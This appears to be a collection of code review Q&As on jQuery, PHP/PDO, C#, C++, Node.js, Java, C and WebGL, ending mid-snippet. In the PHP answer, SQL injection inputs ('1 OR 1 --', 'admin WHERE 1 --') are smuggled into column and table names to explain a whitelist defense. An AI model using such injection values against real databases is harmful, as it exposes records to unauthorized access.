Click-through rate calculator using jQuery I created a calculator for CTR with jQuery.  The calculator is working just the way I want, but I'm quite new to jQuery and I wonder if I am using jQuery effectively.

The goal of the code is that if 2 values are entered and the button is clicked then the correct function is called and the output's background colour will change.

    CTR Calculator

    Number of Impressions:

    <input id="v1" type="text" style="width:10em;"/>

    Number of Clicks:

    <input id="v2" type="text" style="width:10em;"/>

    CTR:

    <input id="v3" type="text" style="width:10em;"/>

    <button id ="btn" type="button" class="btn btn-secondary">Calculate</button>

  $(document).ready(function(){
      $("#btn").on("click",function(event){
        if ($("#v1").val() === '' && $("#v2").val() === '' && $("#v3").val() === '') {
            $('#v1,#v2,#v3').css('background-color', 'transparent');
            alert("Please enter atleast 2 values!");
        } else if ($("#v1,#v2").val() === '' || $("#v1,#v3").val() === '' || $("#v2,#v3").val() === '') {
            $('#v1,#v2,#v3').css('background-color', 'transparent');
            alert("Please enter atleast 2 values!");
        } else if ($("#v1").val() === '') {
            var mathImp = (parseInt($('#v2').val()) / parseInt($('#v3').val())) * 100;
            $('#v1').val(mathImp);
            $('#v1').css('background-color', 'beige');
            $('#v2,#v3').css('background-color', 'transparent');
        }  else if ($("#v2").val() === '') {
            var mathClicks = (parseInt($('#v1').val()) * parseInt($('#v3').val())) / 100;
            $('#v2').val(mathClicks);
            $('#v2').css('background-color', 'beige');
            $('#v1,#v3').css('background-color', 'transparent');
        } else if ($("#v3").val() === '') {
            var mathCTR = (parseInt($('#v2').val()) / parseInt($('#v1').val())) * 100;
            $('#v3').val(mathCTR);
            $('#v3').css('background-color', 'beige');
            $('#v1,#v2').css('background-color', 'transparent');
        } else {
            alert("Please enter only 2 values!");
        }
     });
});

I think this style is what causes a lot of the "jquery mess" you hear people talk about. Let me try to explain why.

What's going on is that the code tries to handle every possible view state change.
For example, when you want to highlight a certain input, you also need to consider that one or both of the other inputs are highlighted already and so you need to hide them.
What you can do instead is to "reset" the view state before every run and in that way only have to consider the one case.
This is called declarative programming, since you basically declare what your view will look like given a certain state, but you don't care about moving from one state to another.

In your case, you would "reset" your view state like so:

$('#v1,#v2,#v3').css('background-color', 'transparent')

Adding this simple line at the start of your click-handler removes a ton of noise from the rest of the code.

Here's a couple of other things that can be improved:

Only use ', not " as well
Don't duplicate jquery selectors
Use better names than v1,v2,v3
If you only care that the user inputs two values, check that (as opposed to checking exact combinations)

Here's one attempt at a refactoring (not tested):

$(document).ready(() => {
    $('#btn').on('click', () => {
        let $impressions = $('#v1')
        let $clicks = $('#v2')
        let $ctr = $('#v3')
        let inputs = [$impressions, $clicks, $ctr]

        inputs.forEach($input => $input.css('background-color', 'transparent'))

        let nFilled = inputs.filter($input => $input.val() !== '').length
        if(nFilled !== 2){
            alert('Please enter exactly 2 values!')
            return
        }

        let setCalculatedInput = ($input, value) => {
            $input.val(value)
            $input.css('background-color', 'beige')
        }

        if($impressions.val() === ''){
            setCalculatedInput($impressions, (parseInt($clicks.val()) / parseInt($ctr.val())) * 100)
        }else if($clicks.val() === ''){
            setCalculatedInput($clicks, (parseInt($impressions.val()) * parseInt($ctr.val())) / 100)
        }else if($ctr.val() === ''){
            setCalculatedInput($ctr, (parseInt($clicks.val()) / parseInt($impressions.val())) * 100)
        }
    })
})


Elegant and secure way to create a dynamic query I want to create a dynamic query to display:

all the invoices if the user has moderator rank
only his invoices if the user is a simple member

code

 public function getAllBill($user_rank, $user_id){

  $sql = 'SELECT * FROM invoice_user
  INNER JOIN users on users.user_id = invoice_user.user_id';

  $sql_clause = 'WHERE user_id = :user_id)';
  $sql_group  = 'GROUP BY invoice_number ORDER BY invoicedate DESC';

  if ($user_rank === 'member') {
    $final_sql = $sql.' '.$sql_clause.' '.$sql_group;
    $parameters = array(':user_id' => $user_id);
  }
  else if ($user_rank === 'moderator'){
    $final_sql = $sql.' '.$sql_group;
    $parameters = array();
  }
  else {
    $error = TRUE;
  }

  if (!isset($error)) {
    $request = $this->bdd->prepare($final_sql);
    $request->execute($parameters);
    return $request->fetchAll();
  } else return array();

}

script

<?php
$table = getAllBill($_SESSION ['rank'], $_SESSION ['id']);

foreach ($table as $row) {
  # code...
}

I would like to know if there is a more elegant way to do this, but especially to know if everything is safe knowing that the rank and the ID come from the user session ($_SESSION ['rank'], $_SESSION ['id'])

Does it pose a problem not to put my parameter table in a condition?

PS : I use MySQL

If you allow users to pass in arguments that are column names (for example array keys that you turn into column names). Then the keys could be modified to allow SQL Injection.  It's not clear in the question if you plan to do this.  If you just want to have dynamic arguments (with known columns) then preparing the query should suffice as all the user data can be parameterized without issue.

As preparing the values is not an issue, I will assume you want to make the columns and/or tables dynamic.

Problem

Imagine you create a dynamic Select query like this, where the keys from the input args are used for column names and the table name is dynamic as well (fully dynamic):

class foo{
  function Select($table, $args){
    $query = "SELECT * FROM {$table}";
    $where = [];
    $params = [];

    foreach($allowedArgs as $col => $arg){
        $where[] = "{$col} = :{$col}";
        $params[$col] = $arg;
    }

    if(!empty($where)) $query .= ' WHERE '.implode(' AND ', $where);

    print_r($query);
  }
}

Output would be something like this:

 //------- intended behaviour
 $foo->Select('someTable', ['ID' => 32, 'user' => 'someUser']);
 "SELECT * FROM someTable WHERE ID = :ID AND user = :user"
 //after executing with parameters
 "SELECT * FROM someTable WHERE ID = '32' AND user = 'someUser'"

  //------- unintended behaviour
 $foo->Select('someTable', ['ID' => 32, '1 OR 1 --' => null]);
 "SELECT * FROM someTable WHERE ID = :ID AND 1 OR 1 -- = :1 OR 1 --"
 //the DB would execute this:
 "SELECT * FROM someTable WHERE ID = 32 AND 1 OR 1"

To explain the SQLInjection:

The first 1 completes the AND
Then the OR 1 is always true.
Everything after the SQL comment -- is ignored.

So this would return all records in that table regardless of the other arguments.  This is how basic SQLInjection works.

Here $table is also susceptible to SQLInjection, so if you did (this is a bad example but you get the point):

 $foo->Select('admin WHERE 1 --', []);
//"SELECT * FROM admin WHERE 1 --"

Solution

However, you can query the DB schema, by using DESCRIBE {$table} and SHOW TABLES, to build a whitelist of column names and tables. And than, store that data so you can filter out any bad "stuff" like this:

//eg. results of DESCRIBE
Field   Type               Null     Key     Default     Extra
  ID    int(10) unsigned    NO      PRI     NULL    auto_increment

//eg. SHOW TABLES
Tables_in_{database}
   someTable

From this you can build something like:

class foo{
  //get the schema
  public static $fields;
  public static $tables;

  public function ckTable($table){
     if(!self::$tables){
        $smtp = $this->db->query("SHOW TABLES");
        self::$tables = $stmt->fetchAll(PDO::FETCH_COLUMN); //['someTable', "admin", ...]
     }
     if(!in_array($table, self::$tables)) throw new UnknownTable($table);
  }//end ckTable()

  public function getFields($table){
       $this->ckTable($table);

      //only query this once per request
      if(!self::$fields[$table]){

         self::$fields[$table] = [];

         $smtp = $this->db->query("DESCRIBE $table");

         $fields = [];
         while($row = $smtp->fetch(PDO::FETCH_ARRAY)){

           //technically we only need the Keys or the "Field" for this
           //but I felt like showing how you can parse the type too...
           preg_match('/^(?P<type>\w+)(?:\((?P<size>\d+)\))?/', $row['Type'], $match);

           $fields[$table][$row['Field']] = [
             'type' => $match['type'],
             'size' => isset($match['size']) ? (int)$match['size'] : false,
             'key' => $row['Key']
           ];
        }//end while
      }//end if self::$fields

      return self::$fields[$table];
   }//end getFields()
 }//end foo

Regex Sandbox

Which should give you something like this:

  //-note- we're returning only $fields['someTable'] in the example
  $fields = [
      'someTable' => [
           'ID' => ['type' => 'int', 'size' => 10, 'key' => 'PRI']
         ], [...]
      ], [...]
   ];

Then when you make your dynamic query:

 class foo{
     //eg inputs (with sql injection)
     //$table = 'someTable';
     //$args = ['ID' => 1, '1 OR 1 --' => '']
     public function Select($table, array $args){
        $fields = $this->getFields($table); //retuns ['ID' => [...]]

        $allowedArgs = array_intersect_key($args, $fields); //results in ['ID' => 1], removing key '1 OR 1 --'

        //escaping with backtic ` is a good idea, it adds a tiny bit of security too.
        //eg.  "SELECT * FROM `admin WHERE 1 --`"  this is a sql error
        //that said it's mostly for reserved words and spaces in table names etc..
        $query = "SELECT * FROM `{$table}`";

        $where = [];
        $params = [];

        foreach($allowedArgs as $col => $arg){
            //backtic column names too
            $where[] = "`{$col}` = :{$col}";  // 'ID = :ID'
            $params[$col] = $arg;
        }

        if(!empty($where)) $query .= ' WHERE '.implode(' AND ', $where);

        $this->db->prepare($query);
        return $this->db->execute($params);
    } //end Select()
 }//end foo

Output would be something like this:

$foo->Select('someTable', ['ID' => 1, '1 OR 1 --' => '']);
//note the SQLInjection key is removed by array_intersect_key
$query = "SELECT * FROM `someTable` WHERE `ID` = :ID"
//in PDO the ':' for execute arguments are optional
$params = ['ID' => 1];

  array_intersect_key() returns an array containing all the entries of array1 which have keys that are present in all the arguments.

So by having the schema dynamically pulled from the DB we can filter out bad Keys that would become column names in the SQL.  Also because it's dynamic (you should store it once per request, so do the describe query once) if we modify the schema we don't have any issues with our code.  It just adapts based on the arguments and the schema.

The only problem with this (the tables being dynamic) is they could potentially access other tables you don't want them too. But only if they are valid tables.  If that is a concern you can always create the table array manually or explicitly remove those tables you don't want end users having access to, with unset etc...

Additional Error checking

You can also throw an exception by comparing the count of $args and $allowedArgs Like this:

class foo{

  //eg inputs (with sql injection) ['ID' => 1, '1 OR 1 --' => '']
  public function Select($table, array $args){
    $fields = $this->getFields($table);
    $allowedArgs = array_intersect_key($args, $fields);

    if(count($args) != count($allowedArgs)){
       $diff = array_diff_key($args, $allowedArgs);
       throw new UnknownColumn(implode(',', array_keys($diff)));
    }
    ....
  }//end Select()
}//end foo

The above would throw a UnknownColumn (assuming that exception exists) that says something like this:

//$foo->Select('someTable', ['ID' => 1, '1 OR 1 --' => '']);
Exception UnknownColumn: "1 OR 1 --" IN somefile.php ON line 123

If you did some table that doesn't exist (as I showed above) you would get an exception from ckTable() which is chained through getFields:

//$foo->Select('1 OR 1', ['ID' => 1, '1 OR 1 --' => '']);
Exception UnknownTable: "1 OR 1" IN somefile.php ON line 123

Obviously you can add more complexity such as if it's and AND or an OR.  Argument groups such as exclusive ORs.  Type checks, size checks etc.  Basically whatever you want as you will have all the schema data at your fingertips.

I actually have a DB class that basically does this to build dynamic Insert and Update queries.  For example in the above I know that ID is the Pkey of the table so if its present in the arguments, I know that is an update of row with {x} ID.  If not then it's an insert etc...  Unfortunately my DB class has some dependencies and I can't share it without removing some of my employers requirements.  It does a lot of other things too, like handling multiple databases, different comparison operators, logical groups etc.  I should refactor it and put it on Git (one of these days).

Anyway, I should re-iterate you can also do this with a simple array (instead of getting the schema) that you manually built. Essentially a whitelist the columns or tables.  But, if you edit the schema you will likely have to modify your code.

Cheers!

PS. I didn't test any of this, I like PDO so I used it for the code.  But it should be pretty close.


Multi-checkbox validation I wrote the following custom validation annotation for my project to confirm that at least one checkbox of a group of checkboxes is checked:

public class ValidateAtLeastOneChecked : ValidationAttribute {
    public string[] CheckBoxFields {get; set;}
    public ValidateAtLeastOneChecked(string[] checkBoxFields) {
        CheckBoxFields = checkBoxFields;
    }

    protected override ValidationResult IsValid(Object value, ValidationContext context) {
        Object instance = context.ObjectInstance;
        Type type = instance.GetType();

        foreach(string s in CheckBoxFields) {
            Object propertyValue = type.GetProperty(s).GetValue(instance, null);
            if (bool.Parse(propertyValue.ToString())) {
                return ValidationResult.Success;
            }
        }
        return new ValidationResult(base.ErrorMessageString);
    }
}

I then use it like this:

[ValidateAtLeastOneChecked(new string[] { "Checkbox1", "Checkbox2", "Checkbox3", "Checkbox4" }, ErrorMessageResourceType=typeof(ErrorMessageResources),ErrorMessageResourceName="SelectAtLeastOneTopic")]
public bool Checkbox1{ get; set; }
public bool Checkbox2{ get; set; }
public bool Checkbox3{ get; set; }
public bool Checkbox4{ get; set; }

The aim was to get the check boxes all validating and keep the validations and their localization contained in the ViewModel. This is working, my only concern is that I expected to find an easy google-paste piece of code for this and did not... Am I missing something easier?

As a secondary question I am attaching this to only one checkbox field, which I think is fine; but is there any unintended consequences of that (other than that any css error highlighting would only apply to the one checkbox)?

I'll answer your second question first! The fact that one of your your checkboxes needs to be checked is a validation that is more about your class than one of your checkbox. I mean, individually, a checkbox doesn't need to be checked, but your model requires one of them to be. Which is why I would put the validation attribute on your class instead of on one of the checkbox. Then, to show your error message on your client HTML you would need to set Html.ValidationSummary(true) in your view.

For your first questions, there a lot of possibles way to do what you did, but your way is fine I believe. I'll propose another one though.

I think you should make another Model that would only contains your checkboxes. A CheckBoxList or something that is more appropriate in your context (that I know nothing about). Then you could use reflection to get all checkboxes and check if one is checked.

It would look like this :

public class ValidateAtLeastOneCheckedAttribute : ValidationAttribute
{
   protected override ValidationResult IsValid(object value, ValidationContext validationContext)
   {
      Type type = value.GetType();
      IEnumerable<PropertyInfo> checkBoxeProperties = type.GetProperties(BindingFlags.Instance | BindingFlags.Public).Where(p => p.PropertyType == typeof (bool));

      foreach (PropertyInfo checkBoxProperty in checkBoxeProperties)
      {
         var isChecked = (bool)checkBoxProperty.GetValue(value);
         if (isChecked)
         {
            return ValidationResult.Success;
         }
      }

      return new ValidationResult(base.ErrorMessageString);
   }
}

[ValidateAtLeastOneChecked]
public class CheckBoxList
{
   public bool Checkbox1 { get; set; }
   public bool Checkbox2 { get; set; }
   public bool Checkbox3 { get; set; }
   public bool Checkbox4 { get; set; }
   public bool Checkbox5 { get; set; }
}

The advantages of using such a solution is that you don't need to write down every property in a string[], which could lead to errors (if you forgot one or wrote one incorrectly). Also, you don't need to use validationContext.ObjectInstance since the target of your attribute is the instance itself.

I'll review your current code too, because there is three points that I see could be "better" :)

By convention, attributes should end with the suffix Attribute (which I changed already in my example). You won't need to write Attribute when you use it (as shown in my example, which compiles!).

Also, your brackets are following the Java standard, not the C# one. You should put opening brackets on a new line.

Finally, instead of doing this :

Object propertyValue = type.GetProperty(s).GetValue(instance, null);
if (bool.Parse(propertyValue.ToString())) {//...

You can cast the propertyValue to bool directly, it will save you a cast to string.


Removing by indices several elements from a vector From a sorted vector of indices (toRemove), I would like to remove from another vector (v) the elements at these indices. Note that I need to preserve the order of the remaining elements in v. toRemove can be modified at will however.

An easy way to do it would be to start with the last element of toRemove and remove them sequentially. However, that would require copying elements at the end of the vector several times which is slow when the vector is large.

Here is an alternative using the erase-remove idiom:

#include <iostream>
#include <vector>
#include <string>
#include <algorithm>

template <typename INT, typename T> // INT could be int, unsigned int, char, size_t, etc...
void removeIndicesFromVector(std::vector<T>& v, std::vector<INT>& rm )
{
  // For speed, I am assuming that 'rm' is sorted
  size_t rm_index = 0;
  v.erase(
    std::remove_if(std::begin(v), std::end(v), [&](T& elem)
    {
        if (rm.size() != rm_index && &elem - &v[0] == rm[rm_index])
        {
           rm_index++;
           return true;
        }
        return false;
    }),
    std::end(v)
  );
}

template <typename T>
void print(std::vector<T> v)
{
    for (size_t i = 0 ; i < v.size();i++)
    {
        std::cout << v[i] << " ";
    }
    std::cout << std::endl;
}

int main()
{
    std::vector<std::string> v = {"Alice", "Smith", "is", "very", "clever", "and", "is", "very", "nice"};
    print(v);
    std::vector<int> toRemove = {1,6};
    removeIndicesFromVector(v,toRemove);
    print(v);

    return 0;
}

The code outputs as expected:

Alice Smith is very clever and is very nice
Alice is very clever and very nice

Is there a "better" alternative to my function removeIndicesFromVector?

By "better", I mean faster / better names / cleaner / more standard / one that is as fast but does not assume 'rm' is sorted. If it matters, note that the object that will need to be removed will rarely be any bigger than the std::strings considered here but the vector will be much longer.

That's a worthwhile problem to solve, and a good solution.

Trivial fix: std::size_t is misspelt in a couple of places.

One easy change I'd make is that rm can be const std::vector<INT>&, since we won't be modifying it.  That's helpful, as it allows the reference to bind to an rvalue if we want (test by passing std::move(toRemove)).

It might be worthwhile passing rm as an iterator pair; we can still have an overload that accepts std::vector or other container:

#include <algorithm>
#include <cassert>
#include <vector>

template <typename T, typename Iter>
void removeIndicesFromVector(std::vector<T>& v, Iter begin, Iter end)
    // requires std::is_convertible_v<std::iterator_traits<Iter>::value_type, std::size_t>
{
    assert(std::is_sorted(begin, end));
    auto rm_iter = begin;
    std::size_t current_index = 0;

    const auto pred = [&](const T&){
        // any more to remove?
        if (rm_iter == end) { return false; }
        // is this one specified?
        if (*rm_iter == current_index++) { return ++rm_iter, true; }
        return false;
    };

    v.erase(std::remove_if(v.begin(), v.end(), pred), v.end());
}

template <typename T, typename S>
    // requires std::is_convertible_v<S::value_type, std::size_t>
void removeIndicesFromVector(std::vector<T>& v, const S& rm)
{
    using std::begin;
    using std::end;
    assert(std::is_sorted(begin(rm), end(rm)));
    return removeIndicesFromVector(v, begin(rm), end(rm));
}

I've changed the algorithm here to simply count the elements seen, which must be valid because std::remove_if() accepts input iterators and is specified to invoke the predicate exactly std::distance(first, last) times.

The requires lines are commented out, as I didn't manage to get them working as I'd like - I'd appreciate a comment or edit to fix that.

If we feel generous, we might be willing to accept non-sorted input (with a speed penalty, of course):

#include <algorithm>
#include <vector>

template <typename T, typename Iter>
void removeIndicesFromVector(std::vector<T>& v, Iter begin, Iter end)
    // requires std::is_convertible_v<std::iterator_traits<Iter>::value_type, std::size_t>
{
    std::size_t current_index = 0;

    if (std::is_sorted(begin, end)) {

        // sorted version - advance through begin..end
        auto rm_iter = begin;
        const auto pred = [&](const T&) {
            // any more to remove?
            if (rm_iter != end && *rm_iter == current_index++) {
                return ++rm_iter, true;
            }
            return false;
        };
        v.erase(std::remove_if(v.begin(), v.end(), pred), v.end());

    } else {

        // unsorted version - search for each index in begin..end
        const auto pred = [&](const T&) {
            return std::find(begin, end, current_index++) != end;
        };
        v.erase(std::remove_if(v.begin(), v.end(), pred), v.end());
    }
}

template <typename T, typename S>
    // requires std::is_convertible_v<S::value_type, std::size_t>
void removeIndicesFromVector(std::vector<T>& v, const S& rm)
{
    using std::begin;
    using std::end;
    return removeIndicesFromVector(v, begin(rm), end(rm));
}

Test of unordered remove:

#include <array>
#include <iostream>
#include <string>

template <typename T>
void print(const std::vector<T>& v)
{
    for (auto const& e: v) {
        std::cout << e << " ";
    }
    std::cout << std::endl;
}

int main()
{
    std::vector v{"Alice", "Smith", "is", "very", "clever",
                  "and", "is", "very", "nice"};
    print(v);
    removeIndicesFromVector(v, std::array{6u,1u});
    print(v);

    return 0;
}


Download a file and update the current downloaded percentage I am not a big fan of JS, but have been forced to use it in this situation for various reasons.

My task: Download a URL to a target file, and update another part of the application with the current percentage.

I've run jslint and jshint over the code, and it seems happy, but I am sure there is still plenty of suboptimal stuff in my code. My code currently looks like this:

Match.prototype.downloadURL = function (url, target, next) {
    winston.info("Downloading url %s to %s", url, target);
    var tmpFilename = target + ".tmp",
        tmpFile = fs.createWriteStream(tmpFilename);
    http.get(url, function (resp) {
        var fullSize = +resp.headers["Content-Length"],
            currentSize = 0,
            currentPercentage = -1;
        // Write the file
        resp.pipe(tmpFile);
        resp.on('end', function () {
            tmpFile.close();
            this.registerDownloadFinished();
            fs.rename(tmpFilename, target, function (err) {
                if (err !== null) {
                    return next(err);
                }
                next(null, target);
            });
        });
        // Update when we hit a new percentage
        resp.on('data', function (chunk) {
            currentSize += chunk.length;
            var percentage = parseInt(currentSize / fullSize * 100, 10);
            if (percentage === currentPercentage) {
                return;
            }
            currentPercentage = percentage;
            this.updateDownloadingPercentage(percentage);
        });
    });
};

Problems I can see:

updateDownloadingPercentage and registerDownloadFinished are networked operations; I should probably be doing something to make sure these things arrive in order
I have a feeling I should be checking for errors a lot more; createWriteStream can fail, so where do I get its error message from.

Again, I only ask because I am a very poor JavaScript coder.  Please enlighten me as to any way I can improve this snippet.

From a once over and reading some docs:

You need a resp.on('error', function () {} to deal with http errors
You need a tmpFile.on('error', function () {} to deal with fs/stream errors
tmpFile is an unfortunate name, i would call it maybe tmpStream or tmpFileStream
You use both single and double quotes for strings, stick to one, preferably single quotes
resp should be res ( standard in Node ), or response, it bugs me every time I read the code ;)


Number of Pushes, time limit exceeding There are N boys standing in line in order 1 to n. For each ith boy (i from 1 to N) W[i] gives his weight. A boy in line can push another boy if his weight is more than or equal to the sum of weight of boys between them. We have to calculate for each boy, the number of boys he can get pushed by. My solution is taking too much time.
(1<=N<=10^5)
first line has N, second has weight of N boys in line.
For example:
INPUT:
5
2 5 8 10 12
OUTPUT:
2 3 3 2 1
My code:

 class A {

public static void main(String[] args) throws IOException
{
    BufferedReader br=new BufferedReader(new InputStreamReader(System.in));
        StringTokenizer st=new StringTokenizer(br.readLine());
        int n=Integer.parseInt(st.nextToken());
        long[] W=new long[n];
        long[] sumtill_i=new long[n];
        int[] pushedby=new int[n];
        long sum=0;
        st=new StringTokenizer(br.readLine());
        for(int i=0;i<n;i++)
        {
            W[i]=Long.parseLong(st.nextToken());
            sum+=W[i];
            sumtill_i[i]=sum;
        }
        int j;
        for(int i=0;i<n;i++)
        {
            j=n-1;
            while(j>=0)
            {
                if(j>i)
                {
                    if(W[j]>=(sumtill_i[j]-sumtill_i[i]-W[j]))
                        pushedby[i]++;
                }
                if(j<i)
                {
                    if(W[j]>=(sumtill_i[i]-sumtill_i[j]-W[i]))
                        pushedby[i]++;
                }
                j--;

            }
        }
        for(int i=0;i<n;i++)
            System.out.print(pushedby[i]+" ");
}
 }

Some style points first:

StringTokeniser is discouraged see here
variables are lowerCamelCase in java convention. Try to avoid _ and don't start with a capital letter.
Longer meaningful names are a lot better than short (especially 1 letter) variable names. What exactly is that W? A variable called weights is so much easier to understand. I'll make an exception for n for being part of the assignment and i and j as loop variables for beïng know as loop variables.
java coding conventions say to ALWAYS use braces after each if/for/...
(The only exception I make is if you put the next statement on the same line as the if, for an example take a look at an auto generated equals implementation).
the opening braces usually go on the same line, not the next line, but it's a good thing that you're consistent.

Here's a cleaned up version of your code. It should still work exactly the same:

Scanner input = new Scanner(System.in);
int n = input.nextInt();
input.nextLine(); // needed to proces the end of the first input line.
long[] weights = new long[n];
long[] cumulativeSum = new long[n];
int[] pushedby = new int[n];
long sum = 0;

for (int i = 0; i < n; i++) {
    weights[i] = input.nextLong();
    sum += weights[i];
    cumulativeSum[i] = sum;
}

for (int i = 0; i < n; i++) {
    for(int j = n-1; j >= 0; j--){
        if (j > i) {
            if (weights[j] >= (cumulativeSum[j] - cumulativeSum[i] - weights[j])) {
                pushedby[i]++;
            }
        }
        if (j < i) {
            if (weights[j] >= (cumulativeSum[i] - cumulativeSum[j] - weights[i])) {
                pushedby[i]++;
            }
        }
    }
}

for (int i = 0; i < n; i++) {
    System.out.print(pushedby[i] + " ");
}

You had an interesting idea with storing the sumtill but does it really help you? After all, you're still checking each possible pair.

What you could do instead is for each person in the list, walk the list to the left and to the right adding up the total weight up till that point and check if you can still push that guy. If you can, increment the pushedBy counter for that other guy. As soon as you can't you stop going further down the list.

Putting that into code looks something like this:

Scanner input = new Scanner(System.in);
int n = input.nextInt();
input.nextLine(); // needed to proces the end of the first input line.
long[] weights = new long[n];
int[] pushedby = new int[n];
long sum = 0;

for (int i = 0; i < n; i++) {
    weights[i] = input.nextLong();
    sum += weights[i];
}

for (int currentPerson = 0; currentPerson < n; currentPerson++) {
    //check left of the current person as long as the current person can push them all.
    long totalWeight = -weights[currentPerson];
    for (int i = currentPerson - 1; i >= 0; i--) {
        totalWeight += weights[i];
        if (totalWeight > 0) {
            break; // can no longer push them all
        }
        pushedby[i]++;
    }

    //same for right of the current person
    totalWeight = -weights[currentPerson];
    for (int i = currentPerson + 1; i < n; i++) {
        totalWeight += weights[i];
        if (totalWeight > 0) {
            break;
        }
        pushedby[i]++;
    }

}

for (int i = 0; i < n; i++) {
    System.out.print(pushedby[i] + " ");
}
System.out.println(); //actually finish the line

I did notice that this gives a different result than yours. You may want to check which result is the correct solution to the problem.


Code reduction possible with modulo operator? I'm trying to model a puzzle in order to resolve it with the Choco solver.

One of the constraint I'm coding is cyclical (it's triplet which follow themselves) like the following example:

s.post(LogicalConstraintFactory.ifThen(
    IntConstraintFactory.member(mvt[i], new int[]{1, 2, 3}),
    IntConstraintFactory.not_member(mvt[i + 1], new int[]{1, 2, 3})
));
s.post(LogicalConstraintFactory.ifThen(
    IntConstraintFactory.member(mvt[i], new int[]{4, 5, 6}),
    IntConstraintFactory.not_member(mvt[i + 1], new int[]{4, 5, 6})
));
s.post(LogicalConstraintFactory.ifThen(
    IntConstraintFactory.member(mvt[i], new int[]{7, 8, 9}),
    IntConstraintFactory.not_member(mvt[i + 1], new int[]{7, 8, 9})
));
// and so one...

I think that my library isn't very known so the mathematics equivalent is :

if(foo[i] is in {1, 2, 3}) then
    foo[i+1] shouldn't be in {1, 2, 3}
if(foo[i] is in {4, 5, 6}) then
    foo[i+1] shouldn't be in {4, 5, 6}
...

Any idea of how I can model this problem with modulo (to avoid writing each triplet)?

If your triplets were zero-based (i.e., {0, 1, 2}, {3, 4, 5}, …) then the answer might have been more obvious.  As it is, you have to apply an offset of -1, then divide by three to figure out which triplet an element belongs to.

if ((mvt[i] - 1) / 3 == (mvt[i + 1] - 1) / 3) {
    // This shouldn't happen: mvt[i] and mvt[i + 1] are in the same triplet
}


Issuing multiple choice tests I'm working on code for an assignment and I was hoping you all could point me in the right direction.

Basically I had to write a program that will issue out a multiple choice test. I have 4 options, A, B, C, D and if the user accidentally chooses something other than my options I want it to ask the question over again.

I've messed around with loops and counters but I'm really hitting a standstill right here. I seem to be unable to get this to work so I'd like you to review my code as is. The code at it's current state here is working, although it does not do much.

I'm up for whatever critique, so if you see something a beginning Java student should do, please let me know.

public static void main(String[] args) {
    String[] multiChoice1;
    Scanner input = new Scanner(System.in);

    multiChoice1 = new String[5];
    multiChoice1[0] = "1. Which country currently emits the most greenhouse gases?\n";
    multiChoice1[1] = "blah blah";
    multiChoice1[2] = "blah blah";
    multiChoice1[3] = "blah blah";
    multiChoice1[4] = "blah blah";

    String userSelect1 = multiChoice1[0];

    if(userSelect1==multiChoice1[0]){
        System.out.println(multiChoice1[0]);
        System.out.println("A. United States");
        System.out.println("B. China");
        System.out.println("C. India");
        System.out.println("D. England");
        System.out.println();
        System.out.print("Your answer: ");
        String uSelect1 = input.next();

        switch (uSelect1.toUpperCase()){
            case "A":
                uSelect1 = "United States";
                System.out.println("Incorrect!\n\n");
                break;
            case "B":
                uSelect1 = "China";
                System.out.println("Correct!\n\n");
                scorePro++;
                score++;
                break;
            case "C":
                uSelect1 = "India";
                System.out.println("Incorrect!\n\n");
                break;
            case "D":
                uSelect1 = "England";
                System.out.println("Incorrect!\n\n");
                break;
            default:
                uSelect1 = "Incorrect, choice.\n\n";
                break;
        }
    }
    // more multiple choice questions with similar structure
}

As you might have noted, methods which do printing are of no use in a bigger piece of code. While your lengthy method tries to say something to the user, it fails to communicate the outcome to the caller.

You could add some return value to the printing... but that's like adding insult to injury. Try to write methods computing something, call them, and react by some printing.

Try to start at the top level like

while (true) {
    printQuestion();
    char c = readInput();
    if (!isLegalInput(c)) continue; // i.e., jump to the loop start to ask again
    if (isCorrectAnswer(c)) {
        print("Correct!\n\n");
    } else {
        print("Inorrect!\n\n");
    }
}

Now, there's a s*load of methods to write... but all of them are pretty trivial. You may also find out that they need more arguments or whatever... there are many ways to go. Just don't print in methods which may need to be reused. Every method should do a single thing.


Acceptable Use of the goto Statement? So, I made a console interface. It prompts users with several options they can enter. 1 for the first option, 2 for the second option, etc. Using the switch statement, each option will bring them to a different screen. Now, after any of the options are entered and the users are brought to a particular screen, how do I get them back to the selection screen with those options? Would it be acceptable for me to do something along the lines of

selectionScreen:

printf("Enter 1 for the First Screen\n");
printf("Enter 2 for the Second Screen\n");
printf("Enter 3 for the Third Screen\n\n");

scanf("%d", &selection);

switch (selection)
{

case 1:

    //do and print stuff here

    for (i = 0 ; ; i ++)
    {

        //do and print stuff here

        while(GetAsyncKeyState(VK_TAB))
        {

            goto selectionScreen;

        }

         printf("Enter the Tab key to go back the selection screen.\n\n");
         printf("Enter any key besides Tab to reload!\n\n");

         getchar();

         system("CLS");

     }

    break;

case 2:

    //do and print stuff here

    for (i = 0; ; i++)
    {

        //do and print stuff here

        while(GetAsyncKeyState(VK_TAB))
        {

            goto selectionScreen;

        }

         printf("Enter the Tab key to go back the selection screen.\n\n");
         printf("Enter any key besides Tab to reload!\n\n");

         getchar();

         system("CLS");

     }

    break;

case 3:

    //do and print stuff here

    for (i = 0 ; ; i++)
    {

        //do and print stuff here

        while(GetAsyncKeyState(VK_TAB))
        {

            goto selectionScreen;

        }

         printf("Enter the Tab key to go back the selection screen.\n\n");
         printf("Enter any key besides Tab to reload!\n\n");

         getchar();

         system("CLS");

     }

    break;

default:

    //do stuff here

}

Or is there a more favorable way of doing this

I'm unsure if the posted code is exactly what's intended functionally, but the following would do the equivalent:

do
{
    printf("Enter 1 for the First Screen\n");
    printf("Enter 2 for the Second Screen\n");
    printf("Enter 3 for the Third Screen\n\n");

    scanf("%d", &selection);

    if ( selection < 1 || selection > 3 )
        break;

    switch (selection)
    {
    case 1:
        //do and print stuff here
        break;

    case 2:
        //do and print stuff here
        break;

    case 3:
        //do and print stuff here
        break;
    }
}
while ( GetAsyncKeyState(VK_TAB) );

I really can't remember the last time I used a goto. I think it was in a FORTRAN class.


Drawing thousands of lines in WebGL or Canvas I am trying to draw thousands of lines between nodes, and the line positions are constantly changing (i.e. consider a node being dragged while connected to thousands of children by these lines).

Below is a simplified example of an issue I have. When drawing several thousands of lines in WebGL or Canvas, the rendering takes a long time (up to a second or more). For each line that needs to be updated, I clear the PIXI.Graphics object and then redraw it from scratch.

I was wondering if there is a way to improve this by batching the draw to WebGL somehow. Ideally the render time could be reduced significantly, so I could draw up to 100,000 lines in less than a second.

Warning: It may crash your browser tab - lower the number of objects to below 20,000 if this happens.

var container = new PIXI.Container(),
    i,
    renderer = PIXI.autoDetectRenderer(1000, 1000);
renderer.backgroundColor = 0xFFFFFF;
document.body.appendChild(renderer.view);
for (i = 0; i < 20000; i++) {
    line = new PIXI.Graphics();
    line.lineStyle(1, 0x888888, 1);
